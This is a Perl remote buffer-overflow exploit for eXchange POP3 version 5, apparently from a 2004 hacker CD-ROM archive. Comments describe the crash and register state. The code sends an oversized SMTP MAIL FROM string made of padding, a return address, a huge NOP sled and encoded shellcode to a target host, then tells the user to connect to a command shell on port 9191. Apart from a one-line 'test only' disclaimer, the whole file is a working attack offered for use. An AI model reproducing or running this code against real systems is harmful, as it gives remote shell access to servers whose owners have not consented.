home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 16 / hacker16 / 16_HACKER16.ISO / xploitz / buffer / buffer_overflow.txt
Encoding:
Text File  |  2004-05-27  |  4.7 KB  |  79 lines

  1. Vulnerable Systems:
  2.  * eXchange POP3 version 5 (possibly prior versions are vulnerable as well)
  3.  
  4. Exploit Code:
  5. #!/usr/bin/perl -w
  6.  
  7. #Exchange pop3 Remote Exploit
  8. #eXchange POP3 is a gateway (connector) that downloads messages from Internet mailboxes 
  9. #using the POP3 or IMAP protocol. It then determines the proper recipient(s) for each message 
  10. #and sends them to Exchange Server using the SMTP protocol. 
  11. #eXchange POP3 can also receive Internet-bound messages from Exchange Server and relay them to 
  12. #the Internet. (www.exchangepop3.com )
  13. #by sending a buffer 1025 byte we have:
  14. #telnet target 25
  15. #220 xwcf ESMTP
  16. #mail from:<< "A"x1019 server is down
  17. #registres:
  18. #eax=00000000 ebx=00000000 ecx=61616161 edx=77f733b4
  19. #esi=00000000 edi=00000000 esp=01ebf0d0 ebp=01ebf0f0
  20. #eip=61616161
  21. # the other problem lies in the fact that esp does not point at the beginning of our buffer, 
  22. # I chose another approach, and to seek in another zone memory. 
  23. # the ret address can be modified as well as the size of the buffer by using windbg. 
  24. # the exploit was tested on xp sp1 win2000 by using different shellcodes, the size of shellcode 
  25. # does not have any effect, for the nop 528999 is the minimal size which I could find to fall on ret 
  26. # address, you can also modify this value... 
  27. # this exploit is used for test only and I am not to in no case responsible for what you can do.
  28. #greez: simo,abder,marocit,#crack.fr
  29.  
  30. use Net::SMTP;
  31. $remote=$ARGV[0];
  32. $buffer = "A"x1015; 
  33. $ret ="\x80\x1d\xdc\x02";# Another memory zone
  34. $nop ="\x90"x1999999; 
  35. $shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
  36.                       "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
  37.                       "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
  38.                       "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
  39.                       "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
  40.                       "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
  41.                       "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
  42.                       "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
  43.                       "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
  44.                       "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
  45.                       "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
  46.                       "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
  47.                       "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
  48.                       "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
  49.                       "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
  50.                       "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
  51.                       "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
  52.                       "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
  53.                       "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
  54.                       "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
  55.                       "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
  56.                       "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
  57.                       "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
  58.                       "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
  59.                       "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
  60.                       "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
  61.                       "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
  62.                       "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
  63.                       "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
  64.                       "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
  65.                       "\xD3\x4A\x8C\x88";
  66. if (not $ARGV[0]) {
  67.         print qq~
  68.         Usage: Exch.pl <host>
  69.         ~;
  70.         exit;}
  71. print "+++++++++++++++++++++++\n\n";
  72.         print "Exchange pop3 exploit \n\n";
  73.         print "Discovered by securma massine \n\n";
  74.         print "securma\@caramail.com \n\n";
  75.         print "+++++++++++++++++++++++\n\n";
  76.  
  77. $smtp = Net::SMTP->new($remote, 3010); 
  78. $smtp->mail($buffer . $ret . $nop . $shellcode);
  79. print "\nNow telnet to your cmd shell port 9191 \n";